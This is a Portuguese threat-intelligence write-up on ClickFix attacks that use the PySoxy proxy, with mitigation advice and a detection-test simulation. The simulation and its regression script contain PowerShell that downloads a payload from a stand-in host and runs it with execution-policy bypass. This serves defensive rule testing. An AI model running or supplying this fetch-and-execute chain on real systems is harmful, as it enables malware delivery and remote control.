ClickFix Evolui com Proxying de PySoxy

Resumo

ClickFix é uma técnica de entrega baseada em engenharia social que agora está sendo combinada com o proxy SOCKS5 PySoxy de código aberto para criar um canal de acesso secundário criptografado. A intrusão começa quando um usuário executa um comando PowerShell malicioso, que configura uma persistência de tarefa agendada e inicia uma sessão de comando e controle em memória do PowerShell. Após o reconhecimento inicial, o atacante baixa e executa o PySoxy para estabelecer um segundo caminho criptografado no ambiente. Esse uso modular de ferramentas baseadas em interpretadores torna tanto a detecção quanto o confinamento de incidentes mais desafiadores.

Investigação

A ReliaQuest observou um único comando ClickFix dirigido pelo usuário que lançou um stage PowerShell ofuscado, criou uma tarefa agendada, realizou reconhecimento de domínio e, posteriormente, baixou um arquivo de bytecode Python compilado chamado b64.pyc, que foi executado com python.exe. O componente PowerShell atuava como um RAT leve, consultando seu servidor de comando e controle a cada três segundos. Os pesquisadores também observaram o atacante usar curl para fazer upload de logs e recuperar o payload PySoxy do mesmo servidor de estágio.

Mitigação

Os defensores devem detectar e bloquear lançamentos suspeitos de PowerShell originários de explorer.exe, monitorar tarefas agendadas que executam comandos PowerShell ocultos e buscar execuções de Python usando argumentos relacionados a proxy, como -ssl, -remote_ip, e -remote_port. As equipes de segurança também devem inspecionar o tráfego de saída para os domínios e endereços IP identificados e remover qualquer script PowerShell persistido ou .pyc arquivos encontrados em ProgramData.

Resposta

Se indicadores relacionados forem encontrados, isole imediatamente o host afetado, desabilite a conta de usuário comprometida, remova a tarefa agendada maliciosa, exclua o script PowerShell e artefatos PySoxy, e escaneie o sistema para remanescentes adicionais. Os defensores também devem confirmar que o tráfego de saída para a infraestrutura identificada está bloqueado e verificar que não restam outros mecanismos de persistência ativos.

Execução de Simulação

Pré-requisito: O Check Previamente de Telemetria & Linha Base deve ter passado.

Racional: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para disparar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e têm como objetivo gerar a telemetria exata esperada pela lógica de detecção.

• Narrativa de Ataque & Comandos:

  1. Objetivo: Estabelecer um canal C2 baseado em PowerShell (ClickFix) que baixe um payload malicioso de um servidor remoto e o execute furtivamente.
  2. Método: O atacante lança powershell.exe com a bandeira exata que a regra monitora (-NoProfile and -ExecutionPolicy Bypass) e usa Invoke-WebRequest para buscar o payload.
  3. Por que este método: Ao usar o PowerShell nativo do Windows e o comum Invoke-WebRequest cmdlet, o adversário evita baixar ferramentas de terceiros, reduzindo a chance de detecção por antivírus enquanto coincide com o comportamento conhecido do ClickFix capturado na regra.

  # Passo 1: Baixar o script malicioso (simulado como um arquivo de teste benigno)
  $url = "http://malicious.example.com/payload.ps1"
  $out = "$env:TEMPpayload.ps1"
  Invoke-WebRequest -Uri $url -OutFile $out
  
  # Passo 2: Executar o script baixado usando os mesmos parâmetros de lançamento que a regra vigia
  powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out

• Script de Teste de Regressão:

  # ==============================================
  # Simulação de C2 de PowerShell do ClickFix (TC-20260514-3G7ZK)
  # ==============================================
  
  # Definir variáveis
  $url = "http://malicious.example.com/payload.ps1"
  $out = "$env:TEMPpayload.ps1"
  
  # 1. Baixar um payload fictício (atua como a busca de C2)
  Write-Host "[*] Baixando payload..."
  try {
      Invoke-WebRequest -Uri $url -OutFile $out -UseBasicParsing
  } catch {
      Write-Error "Download falhou: $_"
      exit 1
  }
  
  # 2. Executar o payload com as mesmas bandeiras monitoradas pela regra
  Write-Host "[*] Executando payload com -NoProfile -ExecutionPolicy Bypass"
  powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out
  
  Write-Host "[+] Simulação completa."
  # ==============================================

• Comandos de Limpeza:

  # Remover o arquivo de payload temporário
  if (Test-Path $out) {
      Remove-Item -Path $out -Force
      Write-Host "[*] Arquivo de payload removido."
  }
  
  # Opcionalmente parar quaisquer processos PowerShell remanescentes lançados pelo teste
  Get-Process -Name "powershell" | Where-Object {$_.Path -like "*powershell.exe"} | Stop-Process -Force
  Write-Host "[*] Limpeza finalizada."